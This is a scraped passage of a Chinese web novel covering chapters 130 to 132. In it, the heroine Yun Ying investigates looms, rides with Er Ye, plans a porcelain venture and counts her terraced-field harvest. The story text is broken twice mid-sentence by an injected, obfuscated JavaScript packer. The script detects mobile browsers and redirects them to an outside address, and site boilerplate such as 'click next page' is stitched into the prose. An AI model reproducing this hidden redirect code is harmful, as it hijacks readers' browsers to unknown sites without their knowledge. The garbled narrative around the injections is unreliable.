若不是她和当家的,都受不了种田的苦,谁还开着门做这营生? 每天都要给人赔笑,还担那么大风险,可一年又一年,别说富起来了,日子却比之前更难了。 成娘子说完自己想说的,就真心实意和云莺道:“姑娘啊,不是我怕你和我抢客人,实在是,这织布的生意不是你想的那么好做的。尤其今年还遭了灾,百姓苦哈哈的。这时候,百姓手里但凡有两个铜板,都留着买一斤粗粮户口,谁还买衣裳穿啊?更何况你还想进购大型的织机来,这即便你买来织机,咱们这儿 也没有会用的织娘;你训练出来织娘,织出来的布匹还指定卖不出去。一来一回,你除了白费力气,还搭进去那么多真金白银,却什么都落不着,姑娘你说你这又是何必呢?” 云莺闻言,倒是多看了成娘子一眼。 她之前还以为这位娘子也是见钱眼开,尖酸刻薄之辈,却不料,这竟是位性情中人。 云莺想到这位成娘子的好心劝解,虽不完全出于为她好的心思,应该也是怕了她真的引进织机,生产出布料来,再和她抢生意。但其中大部分话,倒也真情实意,很有几分道理。 若她真是为了赚钱,许是就被成娘子这一盆冷水泼的心灰意冷。可她并不只是为了赚钱,而是想多增加一门营生,给百姓一个出路;次要目的,才是想着用这里低廉的原材料和人工,织出布匹,卖到别处去挣钱。 云莺的这些打算,自然没有对旁人说的必要,她便也谢过了成娘子的好意,另给了她一两银子,全作答谢。 成娘子不过费了一番口舌,就挣了二两银子。这银子挣得可太轻松了,这么大笔意外之财,都顶上她半个月的收入了。 成娘子喜得眉开眼笑,再不去担心云莺买来织机会抢了自己的生意。 这姑娘这么厚道,应该不会逼得她走投无路。 心里这么想着,成娘子面上的笑容更殷切了。她亲自将云莺送出门,还扯着蜜一样的甜的声音,在云莺身后说,“姑娘有事儿再来问我啊,我一直就在店里,姑娘来了就能看见人。姑娘慢走啊,我就不远送了。” 第130章 再笑把你丢下去 云莺从成娘子里这里离开,又去了一处绸缎庄。 这绸缎庄专门做贵人生意,可云归县的贵人着实少,是以,这边肉眼可见的冷清,用门可罗雀来形容绝不为过。 穗儿和柳儿在知道,云归县竟然还有这么一处绸缎庄时,还纳罕来着。 “咱们县里还有能穿得起绸缎的贵人么?” “有还是有的,只是,应该很少吧?只那么几家贵人,能撑起这绸缎庄的生意么?” “等闲人家做一身绸缎衣裳,都够穿几年了。尤其是咱们这里,冬天说冷也不太冷,绸缎衣裳里边,多穿两件衣裳过冬也不是问题。如此一来,几年做一身绸缎衣裳完全使得。那这绸缎庄到底是靠什么维持下来的?” 云莺不说话,她坐在旁边,边喝茶边听着两个丫鬟嘀咕。 听到这里,云莺心里默念一声:下层的百姓如何会知道上层人奢靡的生活呢? 上层的有钱人,家财万贯,锦衣玉食,出则车马随行,入则高朋满座。 他们一顿饭能吃掉平民百姓一辈子的收入,钱财对于他们来说,只是一个数字。 他们富到极致,每年真金白银不知用掉多少,又岂会在意每年多几身绸缎衣裳?那不是开玩笑么。 心里这么想,这些话云莺却没说出来。她只是提醒两个丫鬟,“有钱人应酬的时候多,外边人都是先敬衣冠后敬人,他们若一年到头就穿那一身衣裳……那得是多好的衣裳,才那么百洗不坏啊?” 两个丫鬟陡然听到云莺此话,登时都被逗笑了。可笑过后,她们又不由想起二爷。 二爷可不就是上层人么? 看看二爷的衣衫,那简直比自家姑娘的还多了无数倍。 就这,京城那边每到换季,还都有新衣裳送来。不同款式、不同材质,或素雅、或端方,或雍容、或简利,简直应有尽有,样样俱全。 云归县这些有钱人,自然是不能和二爷相提并论的。可只要想想,他们也要应酬,也要会见亲朋,也要见父母长官,那他们多做些衣裳来穿,也应当应分。 当家的男人穿的好,家里的女眷总不能穿的差了。女人的穿着打扮提升了,家里的孩子呢,总不能把孩子和父母落下。 所以说,许是一个富贵人家,就将这一家绸缎铺子供起来了,更别说云归县虽然穷困,但有钱人多多少少还是有那么几家的。就这几家,难道还连一个绸缎庄都养不起来? 几人说着闲话,马车就在绸缎庄门口停下了。 云莺去寻绸缎庄的人打探事情,这次倒是不用她给贿赂银子了,人家也看不上那三瓜两枣。 那绸缎庄的管事娘子,当真是个眼明心亮的人物。 她打探到云莺乘坐的那辆马车,很像是传说中,备受县太爷宠爱的,那位姑娘出行的行头。再看云莺巴掌大的脸儿细瓷瑰丽,气质清绝,这样的人物,整个云归县怕是也出不了两个。 云莺的身份一眼被看了出来,接下来这管事娘子对云莺可谓周到客气。 加上云莺所打探的事情,并不是什么秘密。她不说,也会有别人说,更甚者,云莺只要派人往别的地方打探一下,指不定更详细的信息都能打探出来。是以,这管事娘子断然不会有所隐瞒,云莺问什么她就说什么,即便云莺没问的问题,但凡她知晓,也都补充给云莺听。 如此,两人一个说一个听,很是相谈甚欢,意犹未尽。 云莺在绸缎庄耽搁了不少时间,等走出绸缎庄,早就过了午膳时间。 她饥肠辘辘,两个丫鬟也饿的不行。 想到下午还有事情要做,现在再回县衙太耽搁时间,云莺便没回去。直接带着穗儿好柳儿,去了最近的一家饭庄用膳。 膳后略作休息,云莺就带着人出了城。 她准备去看看梯田上的庄稼长势如何。 虽说已经做好了减产,甚至是绝收的心理准备。梯田上排水、除草和抓虫的活儿也已经有人操心,但这到底是自己在这个时代的“第一个创举”,云莺私心里还是很关心的。 一路走来,因为道路上都铺上了青石板,车马行走在上边稳当许多。云莺再没有被颠的七荤八素,恶心呕吐。 去往梯田的路,倒是和通往屋头山的路是一致的。虽说因为塌方的缘故,修到半路道路突然改了方向,但对云莺的影响不大。塌方的地方距离梯田不远,满打满算也就几百米。她若真嫌弃坎坷颠簸,下来步行也使得,反正总共也没多远。 很快,几人就到了梯田处。 此时正是半下午的时间,梯田上没有人。 云莺漫步上了梯田,仔细看了看旱谷的生长情况。 说实话,不太好。 梯田上的旱谷稀稀拉拉,少了许多植株,个别地块甚至出现大片的空白。旱谷的颜色也不是肥水充足的碧绿色,却是青黄色,打眼一看就给人一种营养不良的感觉。 若是正常年份,到了十月中下旬,旱谷都该收割了,此时的旱谷谷穗沉甸甸的,禾杆都被压的弯起了身。 可拜那场飓风所赐,今年的旱谷此时还在积蓄淀粉。搓一下米粒,里边多数是空瘪的,剩余一小部分里边也不是硬生 生的稻谷,而是乳白色的浊液。 这又叫做乳熟期。 等过了乳熟期,后边还有蜡熟期。 蜡熟期的米粒变得如同蜡质一般,如此生长九天左右,米粒背部青绿色消失,米粒才算是成熟。 云莺又攀爬到山背部,这边的旱谷并没有比前边更好一些,整体情况都大差不差。 看到这里,云莺即便早就做好了心理准备,一颗心也沉甸甸的往下坠。 但事已至此,也没有更好的办法。只能期望今年是个暖冬,后续温度给力一些,好让这剩余的旱谷能够多长些时日,多添一些斤两。 丛梯田上下来,太阳已经到了西边天空,眼瞅着就要落山了。 这时候空气中多了几分凉意,穗儿和柳儿见状,赶紧将手中拿着的披风给云莺披上。 两人看云莺很失落,还想劝云莺看开点。 这是梯田落地的第一年,能有收成,证明这个想法确实可行就不错了。指望梯田高产,那不是明年才该期望的事情么? 还没等两个丫鬟将这话说出来,远处却有踏踏的马蹄声朝这边急驶过来。 莫名的直觉告诉云莺,是二爷过来了,她当即抬起头去看。 绕过一处深深的密林,一行三人似御风而来。 那为首之人胯下神驹矫健敏捷,风驰电掣的驶来时,鬃毛飘逸如风,高昂的马首很是透漏出几分神骏不凡。 但云莺的注意力,却全然不在它身上。 她只看到了二爷。 二爷骑在马儿身上,单手熟练的控着马。他伏低了身子,上半身几乎与马身持平。 他就如同一张蓄势待发的弓,瞄准了目标,奋力前行。 他确实是有目标的,他那双漆黑深邃的眸子,自始至终定格在云莺身上。 锁住她,缠住她,让她心跳如擂鼓,身子却不能挪动分毫。 伴随着一声“吁”声,马儿抬高了前蹄,庞大矫健的身躯陡然拔高。 这画面如此熟悉,又如此令人心悸。心悸到云莺感觉不到自己的呼吸,她浑然忘了所有的东西。 她眼中心中,只有一个二爷。 二爷端坐在马身上,陡然上挑起眉梢,眸中露出明快的笑意来。 “看什么呢?还看傻眼了。” 云莺呐呐不言,心跳却似要破腔而出。 许久后,当二爷下了马朝她走来,云莺陡然开口说,“我想学骑马。” “现在?”二爷唇角微微勾勒起来,“也不是不可以。” 二爷上了马,朝底下的云莺伸出手来。 云莺把手放在二爷掌心中,二爷一把攥紧了那只素白柔软的柔夷,微微一用力,云莺便飞身而起,直接坐在了二爷身前。 “坐好了,先带你跑一圈。” 二爷一只手放在云莺腰间,紧紧的禁锢着她,另一只手则轻扯缰绳。 追风是二爷的坐骑,陪二爷从京城到云归县,与二爷最是熟悉不过。 也是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655311|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为二爷在跟前,它对云莺没有丝毫排斥。在接到二爷的示意后,还弹动了两下马蹄,随即似一支利箭一般,直射而出。 踏踏的马蹄声传到耳朵里,风声从耳边刮过,远山近树像是浮光掠影。云莺的身躯像是在天上飞一样飘逸,却又像是落在了实地上那么踏实。 腰间的掌控有力又炽热,身后的躯体是那么宽厚稳重,他落在她耳畔的呼吸灼热又肆意,带着点点纸墨香与檀香味儿。 这种感觉,这种心跳如擂鼓的感觉,云莺想一直品尝下去。 马儿转瞬便走远了,穗儿和柳儿见状,又是心喜,又是担忧。 欣喜自然是因为二爷与姑娘亲近,担心却是因为,马速那么快,姑娘别被吓到了。 正胡思乱想,随雨的声音陡然响起,“你们俩还愣着干什么?赶紧上马车,回城。” 柳儿拽着穗儿的衣裳,想说,那就不管她们姑娘了么? 穗儿看明白了她的心思,心想姑娘跟着二爷呢,二爷宁可自己受伤,也不会伤他们姑娘一根毫毛。 穗儿就说,“我们这就来。”拉着柳儿就上了马车。 随雨与雷霆走在马车前边,一行人慢悠悠的往县城去。 走到路上,随雨忍不住靠近了雷霆,轻声啧啧,“二爷怎么跟孔雀开屏似的?” 雷霆警告的看他一眼,随雨滚刀肉似的不在乎,还继续说,“我说实话呢,总不能实话都不让我说吧。不是我念叨二爷,实在是,二爷看见云莺,真就是,眼里再看不见其他人了。这在云归县还好,总归后衙现在就云莺一个,也不存在谁争宠,或是容不下云莺的事儿。可等二爷被调到京城,又该怎么办呢?那位主,可不是好惹的。别看云莺是她送来的,可云莺的存在落了她的面子,你看她会不会让云莺太好过。” 雷霆终于开了口,“你能别担心那些有的没的么?” “什么叫有的没的?人无远虑必有近忧,我这不是想到将来就替二爷发愁么。” “将来的事情,用不到你考虑;二爷的事情,也不用你发愁,二爷心中自有谋算。” “还谋算?二爷现在满脑子都只想着女人,等二爷想起来谋算的时候 ,黄花菜都凉了。” 雷霆不走了,勒停了马,直直的看着随雨。 随雨可太害怕雷霆这个眼神了,带着审视的锐利与逼人的锐气,看的他喘不上气来。 随雨心虚气短,声音不免低了些,“你干么这么看我,我这还不是替二爷担心?唉,雷哥你收收你的眼神,快吓死我了。” 雷霆轻“呵”,“还收一收,下次再敢在背后絮叨这些,我让你哥收拾你。” 随雨想说,你以为我哥像你一样残暴呢。 可他又一想,他哥究竟残暴还是温和,那得看他说了什么话,做了什么事,针对的是什么人。 外人就算了,他哥护短的厉害,肯定会偏向他。 可若是对面那人是二爷,好吧,他哥届时指不定比雷哥更残暴。 想想他哥那手段,随雨也是打了个寒蝉。他哥看起来挺随和的,可他哥狠起来,那是连雷哥都要退让三分的人物。若不然,二爷身边四个属下,也不能以他哥为尊啊。 随雨被威胁了一顿,整个人都老实了。 一行人加快了速度往前行,好险在进城之前跟上了二爷与云莺。 云莺说是学骑马,可是她只学会了扯缰绳和坐姿。至于最简单的上马,抱歉,鉴于身量不太高,又属实是没掌握住技巧,云莺还没学会。 二爷似乎又想到了云莺上马时的窘迫,埋在云莺脖颈间不住的笑。 云莺本就因为过往的行人,不住的往他们俩身上投来关注的目光,而有些不自在。偏二爷还将头颅埋在她脖颈间,他温热的吐息扑在她耳后根,他沁凉的面颊蹭到了她温软的皮肤,云莺浑身酥麻,从身体到心里痒的控制不住。 她终于忍不住,侧首过来瞪了二爷一眼,“你敢再笑,我就把你丢下去。” 二爷愣了一瞬,随即回应给云莺一串更恣意洒脱的笑声。 云莺脸都气红了。 第131章 织金彩瓷 云莺红着脸不搭理二爷,二爷见真把人气着了,又抱紧了她一把纤腰,伏低做小来哄。 随雨一行人追上来的时候,看见的就是这幅场景。 别说随雨忍不住腹诽了,就连雷霆都一副瞠目结舌的模样。 两人都断然没想到,二爷竟还有如此低声下气的一面。 二爷在国公爷面前,都从未如此过! 一时间,随雨又忍不住看了眼云莺,觉得云莺可真是个狐狸精! 她都没做什么,就把二爷勾搭成这个样子,这要是她真的发威了,二爷还不彻底昏了头? 随雨啧啧,“我以后可要离女人远一些。” 雷霆一言难尽的看着他,想说你都不用和女人保持距离,但凡是个女人,都受不住你那张涂了毒的嘴。你还避女子如蛇蝎,指不定女子看见你才要退避三舍。 但这到底是城门前,雷霆给随雨留了脸,没把这话说出来。 一行人就这般跟在追风后边,慢吞吞的磨到了县衙。 这一路上,云莺又被二爷哄好了。两人进了县衙之后,又一副言笑晏晏的模样。 在花厅等膳时,云莺问了二爷今日的行程。 如今道路已经修路了屋头山,修路的事情大体上算是完成了。 二爷今日主要是在矿山上转了一圈,看了看挑选出来的可供开采的口子,另外就是与章知府派来的矿监聊了聊首批金矿开采的具体事宜。 说起章知府派来的矿监,二爷的语气有些微妙。 云莺与二爷很熟悉了,她很敏感的注意到,二爷在提及此人时,语气有些不对劲。 云莺是不知道章知府派来的矿监为何人,不过想到以后金矿的开采上,此人有一定的话语权,而二爷又素来是个霸道的,指不定两人会有摩擦。 这可如何是好? 那矿监到底到底是章知府的人,若真是和二爷闹了不愉快,再影响了开矿的事宜,或是他干脆在章知府面前告二爷一状,不管是那一样,对二爷来说,都不是件好事。 云莺就忧心匆匆的问,“此人可是有什么不妥?” 二爷看了云莺一眼,慢悠悠道,“应该没有不妥。” “那你怎么……” “说来是个熟人。” 云莺一愣,“熟人?这人是京城来的么?” 二爷微颔首,“他是年初被贬官到的岭南府,意外得了章知府青眼,被章知府点为矿监。” 云莺凑上前去,“那此人与你的关系,是好是歹?” 二爷惊讶与云莺的敏锐,多看了她一眼,随后才笑着说,“不太好。我恩师致仕,与他恩师有一定关系。” 但那都是整治上的博弈,况且恩师致仕,最主要的原因在陛下那里,对方恩师的攻讦,不过是看准了陛下的心思,从众而为罢了。 二爷不将这件小事看在眼里,云莺却忧心的不得了,“他不会在挖矿上为难你吧?” “那倒不至于。如今不单是我等着用这批金矿,章知府比我更急。我且只需要安置好一个云归县,章知府却要照应整个岭南府。章知府比我更着急挖矿的事宜,谁若敢在这时候添乱,章知府不会轻饶了他。” 顿了顿,二爷又道,“况且,他也不是那么不懂事的人。” 二爷如此一说,云莺一颗心微微放下。 但想到对方多多少少算是二爷的仇人,怕是见不得二爷好,之后指不定什么时候给二爷摆一道,二爷若早有防备还好,若没有防备,真被坑了到时候再后悔也晚了。 但云莺看二爷一脸高深莫测,想来这些事根本不用她提醒,二爷心里指定早有成算,云莺也就没将她的担心说出来。 饭菜端上来了,云莺一边吃着,一边不紧不慢的将自己今天都做了什么事情,说给了二爷听。 云莺前两天就问二爷打听过织机的事情,无奈二爷对此事实在没什么关注,自然回答不出云莺的问题。 如今听云莺另辟蹊径找上了县城的成衣铺和绸缎庄,二爷忍不住笑了。她总有奇思妙想,让人忍俊不禁。 二爷咽下一口饭菜,含笑问,“可有收获?” “收获是有的,我也打听出如今性价比最高的织机是哪几种。但这些织机岭南府都很少,大多在江南几个府城。即便要购入,也要跑到那边去。且织机价格都不算便宜,运送过来也很麻烦,我既担心路上会被人抢了去,又担心弄回来后没有织娘会使用。” 云莺说起自己担心的事情,就吃不下饭了。她戳着碗里的米饭,整个人心不在焉,时不时还叹一口长气,看起来为难的不得了。 二爷见状,就给云莺出主意说,“你有没有想过,你现在完全没必要买世面上最好的织机,只要一般的就可以。” “现阶段,你只是要贩卖一些百姓买的起粗布,亦或是价格低廉的棉布。既是如此,买最好的织机就完全没必要。一般的织机,只要设计简单,容易上手操作,还结实耐用,省力便捷,便最适合你。毕竟……单是要把粗布铺遍整个岭南府,都需要好几年的时间。” 这章没有结束,请点击下一页继续阅读!在岭南府,粗布的市场是最大的。只要能将粗布的价格打下来,凭借粗布挣一笔银子,绝不是异想天开。 二爷又道:“至于购入织机,也不一定买现成的织机,可以买构造图,织机我们自己造不是更合适?” 那些普通的织机,构造图又不值几个钱。只要把构造图买回来,难道整个岭南府还找不出个会看图做木工的工匠了? 有了这样的工匠,织机量产不是问题,这不省了好大一笔钱? 有这笔钱,可以大肆收购原材料,还可以请织娘来。只要粗布上市,价格又合适,很快就能见到回头钱。 当然,云莺赚钱是一方面,她收购原材料,以及请来织娘做工,就给百姓增添了来钱的路子。百姓手里有钱了,才有可能去买市面上的粗布,这不就把这一摊子事儿盘活了? 二爷如此一提,云莺连连点头。她觉得自己真是着相了,买什么最好的织机啊,最好的织机放她这里就是浪费。现阶段,她就需要最普通的织机,只需要构造图,只要构造图出来了,她要多少织机,那还不是她说句话的事儿? 云莺高兴了,连连冲着二爷道谢。还说,“果然是读书人,脑子就是好用。” 二爷气笑一声,“这话也不知道是夸我呢,还是损我呢。” 云莺冲着二爷笑的眼睛弯弯,“那指定是夸你的。你可是县太爷,我哪敢损你啊?再来,你帮我这么大忙,我若还损你,我成啥了,白眼狼么?” 两人插科打诨,又说到了梯田和今年的庄稼。 庄稼减产和绝收都有可能,可若是之后一些日子温度跟上了,指不定粮食产量还能提一提。 可老天爷究竟是要甩脸子哭几场,还是要喜笑颜开,这都不是小老百姓们能干预的。 他们想太多也是无用,唯一能做的,只是求老天爷开开眼,给老百姓留一条活路。 …… 转眼几天又过去了,期间云莺安排了人往江南一带跑一趟,选几款平价好用的织机,并买下构造图纸。 其余时间,她就每天窝在二爷的书房中读书。 读大量的书。 云莺想从书中,找到更有利于云归县百姓致富的方法。 她想到了制糖,想到了做精美陶瓷。 南方制糖需要大量甘蔗,种甘蔗又需要田地。在如今田地都被百姓拿来种庄稼,就是一条地缝百姓都不愿意放过,就是门前的地头上,百姓们还种上了供家人嚼用的蔬菜。 说这么多就是想说,这时候饭都吃不饱,百姓们只想哄饱自己的肚子。他们恨不能抢了别人家的田,来种自家的粮食,这时候你说让他们把好好地田地拿来种甘蔗,那不现实。 再有,做精美陶瓷的主意,也是云莺阴差阳错想起来的。 云归县下辖村镇,也个窑村,村子里有大量高岭土。高岭土能增加瓷器的强度和硬度,保证陶瓷产品的白度和光泽度。 名声赫赫的景德镇瓷器中,主要使用的就是高岭土和瓷石。 高岭土云归县是不缺的,云归县也确实有烧制瓷器的作坊。 遥想上一年二爷生辰时,瑞珠不就给二爷送了一套三件头陶瓷? 但云归县的陶瓷,在市面上没有一点名声。 原因归根结底有两点:其一是配比不合适,生产的瓷器非常粗糙,多是些大碗和杯碟,主要也就供穷苦百姓日常家用。 其二,造型和绘画颜料差强人意。 这两方面的原因,导致云归县的陶瓷,甚至连县城大门都走不出去。更甚者即便是云归县本地人,都不知道他们这边还盛产陶瓷。 云莺还是翻看了许多书籍,从书籍上翻到了“织金彩瓷”四个字,才猛地想起,在她前世,岭南一带的织金彩瓷可不是颇负盛名么? 广彩构图丰满、图案繁复、色彩鲜艳、多用彩金,犹如“万缕金丝织白玉,春花飞上银瓷面。” 广彩还是非物质文化遗产。这要是烧出广彩,还愁卖么? 当然,想象很美好,现实却很残酷。 一是现如今烧瓷的手艺,怕是烧不出广彩来。再就是,广彩靠繁复绚丽的色泽全靠绘画取胜,要找有这样绝妙画技的匠人,也很困难。 但有困难,也有相应的解决办法。 烧瓷的匠人好找,只要有钱,别说是小工了,就是大师傅都能给你挖来。烧不出广彩来,那就多试几次,一年试不出来就试两年,时间长了,总会有收获。 至于绘技出众的匠人……这样的匠人不好找,可这样的贬官有不少。 最近又有一部分流放官员,被发配到岭南府。在这个时代,君子六艺是每个官员都必须掌握的技能。指不定这些被贬谪的官员,亦或是其家眷,恰好就精通绘画呢?这不就是现成的匠人么? 心中如此想,云莺回头就找上二爷,问二爷此事可行不可行。 二爷是没听说过什么织金彩瓷。 摒弃掉“织金彩瓷”四个字不提,只说陶瓷,云归县确实有烧制陶瓷的条件。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!至于烧瓷的工匠和绘画的艺人,倒确实如云莺所想,想找总能找出来。 这多少也算一条出路,二爷就应下云莺的要求,准备替她寻一寻人。 但话又说回来,“我手中银钱紧凑,怕是这事儿得你自己掏钱。” 云莺看二爷蹙着眉,还以为二爷是不看好她的提议。却没想到,二爷憋了半天,竟吐出这样一句话。 云莺直接就笑的直不起腰来。 让二爷这样的天子骄子在她面前承认手紧,确实挺伤颜面的。 上次是云莺看出来二爷银钱不凑手,主动提及拿自己的私房帮衬,当时倒是没伤二爷的颜面。可这一次么,二爷耳朵都红了。 云莺笑的眼角得泪都出来了,结果乐极生悲,她呛了一声,然后咳的声嘶力竭,好像要把肺都咳出来。 二爷先还有些窘迫,恨不能掩面而走。可看云莺现在咳成这个样子,二爷又心疼上了。 他抱住云莺,不住得给她拍着背,嘴里却说,“看吧,吃苦头了吧。让你不要笑,你还笑那么欢快。你慢慢吸气,缓一缓。” 云莺缓了好一会儿,终于缓过了那阵咳嗽。她脸都咳红了,眼睛水汪汪的,说实话,这模样有些搞笑。 二爷果真就笑开了,这次换云莺瞪他了。 云莺稍后从房间中取了装钱的匣子来。 她的银钱是有数的,总共也就万余两。上次二爷拿走了一半,她又托人往江南走一趟,买些织机的图纸。如此,再七零八碎的一花,她手中的剩余银子,大约摸还有五千两。 云莺将匣子直接推到二爷跟前,“你都拿去吧,我手上还有些余银,足够年前这段时间花销了。这些银票,一部分你拿去请匠人,准备做织金彩瓷,一部分就先放你手里,让你急用。” 二爷闻言,动作顿在当场。 片刻后,二爷笑了,“真的全给我?你舍得?” 云莺侧过头去,“我又不是第一次说给你,上一次就说让你全拿走,是你不要。不过金矿马上开挖了,想来你手上该有回头钱了。你是不是用不上我这些银票?若是用不上,我就不给你了。” 喜欢结连理请大家收藏:()结连理更新速度全网最快。 第132章 创收 二爷最终还是把云莺那叠银票拿走了,拿走时,二爷还笑看着云莺说“算你入股的。” 这话莫名其妙,云莺听得云里雾里。 她待要追问,二爷却错过这件事情不提了。 闹得云莺想了一晚上,忍不住暗暗琢磨,二爷是不是私下里还有些别的买卖。 不管有没有吧,二爷也不会坑她,云莺便也没追问这件事的后续。 时间很快到了晚稻收割的时候。 鉴于云莺弄的那些梯田,都是以她的名义租赁下来的,如今要收割了,那县衙的管事到底是来告诉了她一趟。 云莺当时忙着准备往京城送的年礼,没空出城去,她就让人直接开割就好。她若得空了,会过去看看,若没空,只管把每座梯田的大致收成告诉她。 云莺一忙好些天,等她忙完,再想起这件事,就准备带上丫鬟去看一看晚稻收割的怎么样。 熟料他们去的晚了,到了田间地头,就见稻谷基本都收割完了。 距离李大柱家最近的那座梯田,稻谷都晾干晒干收起来了,如今正在过秤。 云莺倒是去的巧了,那管着县衙农事的小吏已经记好了这座梯田的收成,正想去告诉她。 远远看见云莺的马车在旁边停了下来,小吏三两步跑过去,笑眯眯的在马车下迎接了云莺。 “云莺姑娘你来的可真巧,我正想去找你。” “可是梯田的收成算出来了?每亩地大概能收多少粮食?”云莺也很急,都顾不上客套,看见小吏就迫不及待的把想问的问出来了。 现如今田地的收成,大多不高。尤其是岭南府的地大多赤贫,收成就更少了。 云莺之前翻过二爷放在书房的卷宗,知道云归县这些年粮食的平均产量,大概在一点三石。 一石相当于现在的120斤,核算过后就是说,一亩地的收成只在156斤左右。 当然,这是个平均数。 其实,这边的良田大概率每年能收到180斤,中等田也就160,至于下等田,也就是占据了绝大多数的赤贫田地,每年的收成只在120斤。 这个数据,想想都感觉可怕。 现代社会,等闲一亩地就产出千余斤粮食。可在此地,别说是岭南府的百姓了,就是江南那些沃土上的百姓,他们做梦都不敢这么梦。 云莺看见这个数据后,很是震撼了一番。由此,也才明白百姓的日子为何这么艰难。 想想吧,一亩地的粮食总共就这么多,百姓辛辛苦苦忙碌一季,还要按照收成交税。各种杂七杂八的税交过之后,留下的粮食都不够百姓们吃稀饭。若是有个天灾人祸,那完了,连稀饭都吃不上了。 云莺心中直叹气,深深懊悔自己上大学时没上个农学院。即便没专门学过如何让庄稼增产增收,她只要读过些农书,想来也是有用的。可惜,谁没事儿读那些书浪费时间? 如今她倒是想读了,倒是也有时间了,可惜,她需要的书找不到了。 云莺想七想八的时候,就听小吏笑眯眯的说,“梯田合计总共有五亩田地的地方,这一季的总收成,在三百斤粮食。” 三百斤? 意思就是说,每亩地也就产出六十斤粮食? 云莺瞠目结舌,眉头都拧成个疙瘩。 小吏见云莺如遭雷劈,赶紧开口说,“这很不少了云莺姑娘,都远超我的预期了。其实若非这些时日温度较高,谷穗又长了些,不然,连三百斤都不到。” 今年是个暖冬,如今都进入十一月了,白日最热时,还能穿个短褐。这若是按照上一年的温度,旱谷怕是早就冻死了。 还三百斤粮食,别做梦了,能收个一百斤,都是老天爷保佑了。 小吏说,“咱们这个收成,真的已经很多了。先不说这是造梯田的第一年,就说今年还遭了灾。我原本以为要颗粒无收了,谁知道最后这半个月,老天爷给足了颜面,愣是让谷穗又丰满了些。” 小吏又絮絮叨叨了好些,大致意思就一个:这真的很不少了,都远超他的预料了。 云莺其实也就是一时间转不过弯,好在她很快回过神,也明白小吏说的是对的。 这梯田本就是赤贫的的土地,即便撒了草木灰,又挖了河里的淤泥来肥田,但这总归是下等田。再加上飓风施虐,损伤了大部分的秧苗,种种缘由之下,梯田还能有三百斤的收成,属实是老天爷保佑了。 云莺就说,“您说的对,是我着相了。其实三百斤已经很多了,这才第一年呢,真的已经很了不得了。” 小吏笑着点头,“您能想明白就好。” “还得多谢您。梯田有此收获,全靠您每日照应管理……” 云莺将小吏奉承了几句,哄得这小吏眉开眼笑,嘴唇都哆嗦起来。 最后云莺还承诺,回头会和县令大人好好说说此事,想来大人还会赏赐,说不得之后整个县城的梯田修造,都要由他来指点…… 一句句话说出来,那小吏听得越发振奋,他精神抖擞,整个人看着都比之前昂扬激动。 最后,云莺辞别了小吏,又去看了看旁边那些地块上百姓们的收成。 说实话,不太好。 仔细算下来,和她梯田上每亩地的收成差不多。 可她的梯田属于新开荒出来的田地,不用交税,百姓却还要交各种税收。如此,种那些良田,竟是还没有开荒合算。 果然,云莺稍后就听百姓说,“明年要多开荒地,荒地收的少,可荒地收多收少全是自己的。你看那谁谁家,今年开了十亩荒地,粮食可不老少,最起码他们是不用捱饥受饿了,指不定还能比往年富裕些。” “开荒也好,造梯田也罢,只要不交税,总能多留些在手里。” …… 随着稻谷晒干,云莺其余梯田的收成也出来了。 总体算过,其实每亩地的平均数值,大概都不超过六十斤。 但是,因为云莺单是梯田就造了几十座,扣除雇佣人工、买粪肥等花销的银钱,再把这些粮食全都卖出去,最后算过,她竟回了本。 回本的意思就是说,她将今年造梯田的银子,全挣回来了。 当然,这也要归功于,今年粮价高,她卖了个好价钱的缘故。 但不得不说,一年回本还是让云莺很振奋。 今年回本,明年得来的收成,大部分都是盈余了。这要是加起来,呜呜呜,多少也是一笔银子啊。 云莺从来没想过靠梯田致富,可有一天突然发现,梯田也是能给她带来金钱的,她就忍不住高兴的蹦跳起来。 二爷进门就看见她在树下蹦跶,她像只兔子似的,头发一颠一颠的,头上的流苏也一晃一晃的,说实话,还挺可爱的。 二爷看够了这画面,才轻咳一声。 果然,他这声音一出,云莺整个人都老实了。她瞬间又变成那个端庄贤淑、清冷纤柔的姑娘。 二爷哈哈哈笑出声来。 云莺见状,没好气的白了二爷一眼,“就会戏弄我。” “我可没戏弄你,我是看你蹦的太高兴,怕你一会儿腿疼。” “我听你的狡辩。” “好,我不狡辩。我问你,你刚才做什么呢那么激动,人都快跳到树上了?” 云莺脸红,嗔着二爷。 见鬼的跳到树上,她离地顶多两指高。 不过云莺懒得提及此事,她怕二爷脑海中的画面感太强,会影响到自己在他心中的形象。 不提蹦蹦跳跳这件事,云莺与二爷说了说梯田的收成。 二爷早就得知了此事,但他还是配合的做出讶异的表情,并表示“这么多?” “不算多了,今年这是头一年,又遭了灾,不然会更多。我让人把粮食卖到官府指定的粮铺,换回了不少银子。我刚算过了,今年的投入和产出刚好持平。” 二爷闻言,这次是真的惊讶了。 投入和产出持平? 在灾年,持平了? 二爷由衷的感叹一声,“当真厉害了。” 云莺点头,“全靠今年粮价好。不过下一年的收成,应该更多。我造这梯田,原本是想让百姓增收的,没想到,倒是先让我自己挣上了银子。这可真是,有心栽花花不开,无心插柳柳成荫。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680982|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 二爷一笑,“你的好意没白费,百姓指不定真能增收。” 云莺有些激动,“果真么?” 